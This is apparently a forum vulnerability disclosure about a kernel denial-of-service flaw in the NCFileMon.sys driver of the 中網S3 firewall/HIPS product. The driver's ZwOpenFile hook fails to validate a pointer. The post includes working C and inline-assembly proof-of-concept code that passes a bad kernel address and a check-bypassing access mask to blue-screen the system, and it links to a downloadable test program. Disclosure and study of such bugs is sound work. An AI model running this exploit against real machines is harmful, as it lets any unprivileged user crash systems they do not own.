- 論壇徽章:
- 0
|
中網(wǎng)S3是一款號稱4D & 4M齊全的防火墻、HIDS/HIPS軟件\r\n\r\n其最新版本3.5.0.2及以下所有版本的驅(qū)動程序存在多出內(nèi)核拒絕服務(wù)漏洞,可使任何權(quán)限用戶在安裝了中網(wǎng)S3的系統(tǒng)上引發(fā)藍(lán)屏\r\n\r\n出問題的組件(已驗(yàn)證版本):NCFileMon.sys ,版本:5.2.3700.0(囧) , CheckSum = 0x00036d61,TimeStamp = 0x46f774e2\r\n\r\n驅(qū)動中對于SSDT部分函數(shù)的inline hook存在參數(shù)檢查不嚴(yán)格的問題,用戶態(tài)傳入錯(cuò)誤參數(shù)即可導(dǎo)致驅(qū)動出錯(cuò),引發(fā)系統(tǒng)崩潰,藍(lán)屏重啟。\r\n\r\n示例函數(shù): hk_ZwOpenFile\r\n\r\n驗(yàn)證版本函數(shù)偏移量:0x97f6\r\n\r\nZwOpenFile的原型是:\r\n\r\nNTSTATUS\r\nZwOpenFile(\r\n__out PHANDLE FileHandle,\r\n__in ACCESS_MASK DesiredAccess,\r\n__in POBJECT_ATTRIBUTES ObjectAttributes,\r\n__out PIO_STATUS_BLOCK IoStatusBlock,\r\n__in ULONG ShareAccess,\r\n__in ULONG OpenOptions\r\n)\r\n\r\n該HOOK函數(shù)對于第三個(gè)參數(shù) ObjectAttributes->ObjectName->Buffer未作有效性驗(yàn)證,只判斷了是否為空。另外,由于該HOOK函數(shù)體 內(nèi)有結(jié)構(gòu)化異常處理,但是該處理機(jī)制只對用戶模式地址訪問異常有效,因此我們構(gòu)造錯(cuò)誤的內(nèi)核地址參數(shù),即可引發(fā)藍(lán)屏\r\n\r\n測試代碼:\r\n\r\nHMODULE hlib = LoadLibrary(\"ntdll.dll\");\r\nPVOID p = GetProcAddress(hlib , \"ZwOpenFile\");\r\n\r\nOBJECT_ATTRIBUTES oba ;\r\nUNICODE_STRING strname ;\r\nstrname.Buffer = (PWSTR)0x80000000 ;\r\n\r\noba.ObjectName = &strname ;\r\n\r\nIO_STATUS_BLOCK iosb ;\r\nHANDLE hfile ;\r\n\r\n__asm{\r\n\r\npush 0\r\npush 0\r\nlea eax , iosb\r\npush eax\r\nlea eax,oba\r\npush eax\r\npush 0x40000000 //set access mask to bypass S3 \'s check\r\nlea eax,hfile\r\npush eax\r\ncall p\r\n\r\n}\r\n\r\n用戶態(tài)任意權(quán)限的程序運(yùn)行此代碼后,即可引發(fā)系統(tǒng)藍(lán)屏重啟\r\n\r\n測試程序下載:http://mj0011.ys168.com ,漏洞演示目錄下 :BSOD_ncS3.rar\r\n\r\n另外,S3中驗(yàn)證緩存有效性的方法存在一定問題,雖然較難由用戶態(tài)主動觸發(fā),但有一定引發(fā)藍(lán)屏的幾率,另外,其校驗(yàn)方法也比正規(guī)的參數(shù)校驗(yàn)方法消耗更多的CPU時(shí)間,因此安裝了中網(wǎng)S3主機(jī)安全系統(tǒng)的機(jī)器可能會有較大程度的非必要性能降低 |
|